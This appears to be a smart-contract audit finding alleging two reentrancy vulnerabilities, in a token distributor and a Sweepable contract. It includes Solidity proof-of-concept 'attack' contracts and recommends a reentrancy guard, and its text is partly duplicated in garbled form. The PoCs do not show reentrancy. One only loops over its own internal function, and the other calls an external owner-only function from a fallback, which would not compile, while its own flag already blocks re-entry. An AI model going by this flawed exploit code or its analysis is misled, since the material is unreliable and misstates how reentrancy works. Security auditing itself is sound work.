Summary I found two separate cases in the code that could be potential vulnerable to an Reentrancy Attack.
Vulnerability Detail Reentrancy allows an hacker to repeatedly withdraw funds from a smart contract and transfers them to an unauthorized contract until the funds have been exhausted.
POC: // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./YourToken.sol";
contract ReentrancyPoC {
YourToken public token; // Assuming YourToken is the token contract
constructor(address _tokenAddress) {
token = YourToken(_tokenAddress);
}
function _settleClaim(address _recipient, uint256 _amount) internal virtual {
token.safeTransfer(_recipient, _amount);
emit Claim(_recipient, _amount);
}
event Claim(address recipient, uint256 amount);
// Function to exploit reentrancy vulnerability
function exploit(address _recipient, uint256 _amount) external {
// Call _settleClaim in a loop to trigger reentrancy
for (uint256 i = 0; i < 10; i++) {
// This contract is the attacker contract
// Before calling _settleClaim, this contract's fallback function is called
// This allows the attacker to re-enter this function multiple times
_settleClaim(_recipient, _amount);
}
}
// Fallback function to exploit reentrancy
fallback() external payable {
// Call _settleClaim in the fallback function
// This will trigger reentrancy because _settleClaim transfers tokens before emitting an event
_settleClaim(msg.sender, msg.value);
}
}
Sweepable.sol Contract #22-26
POC: // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol"; // Import the IERC20 interface
contract ReentrancyPoC {
address public owner;
address public recipient;
bool public isSweeping;
// Define an event to log the token sweep
event SweepToken(address indexed token, uint256 amount);
constructor(address _recipient) {
owner = msg.sender;
recipient = _recipient;
}
// Modifier to restrict access to the owner
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
// Function to sweep tokens from a given ERC20 contract
function sweepToken(IERC20 token) external onlyOwner {
require(!isSweeping, "Sweeping already in progress");
// Set the flag to indicate that sweeping is in progress
isSweeping = true;
// Get the balance of tokens held by this contract
uint256 amount = token.balanceOf(address(this));
// Transfer the tokens to the recipient address
token.transfer(recipient, amount);
// Log the token sweep event
emit SweepToken(address(token), amount);
// Reset the flag after sweeping is complete
isSweeping = false;
}
// Fallback function to exploit reentrancy
fallback() external payable {
// Check if sweeping is in progress
require(isSweeping, "Sweeping not in progress");
// Re-enter the sweepToken function recursively
// This will exploit the reentrancy vulnerability
sweepToken(IERC20(msg.sender));
}
}
Tool used Slither
Manual Review
Recommendation Could use an reentrancy guard to prevent it from happening.
Could add Boolean state variable _lock if true
Add NoReentrancy Modifier
Make sure Sweep token function can only be executed once per transaction.
Quisex
high
Token Soft Audit
Summary I found two separate cases in the code that could be potential vulnerable to an Reentrancy Attack.
Vulnerability Detail Reentrancy allows an hacker to repeatedly withdraw funds from a smart contract and transfers them to an unauthorized contract until the funds have been exhausted.
Impact High
Code Snippet Contract: DistributorInitializable.sol #90:4
POC: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "./YourToken.sol";
contract ReentrancyPoC { YourToken public token; // Assuming YourToken is the token contract
}
Sweepable.sol Contract #22-26 POC: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "./IERC20.sol"; // Import the IERC20 interface
contract ReentrancyPoC { address public owner; address public recipient; bool public isSweeping;
}
Tool used Slither
Manual Review
Recommendation Could use an reentrancy guard to prevent it from happening.
Could add Boolean state variable _lock if true Add NoReentrancy Modifier Make sure Sweep token function can only be executed once per transaction.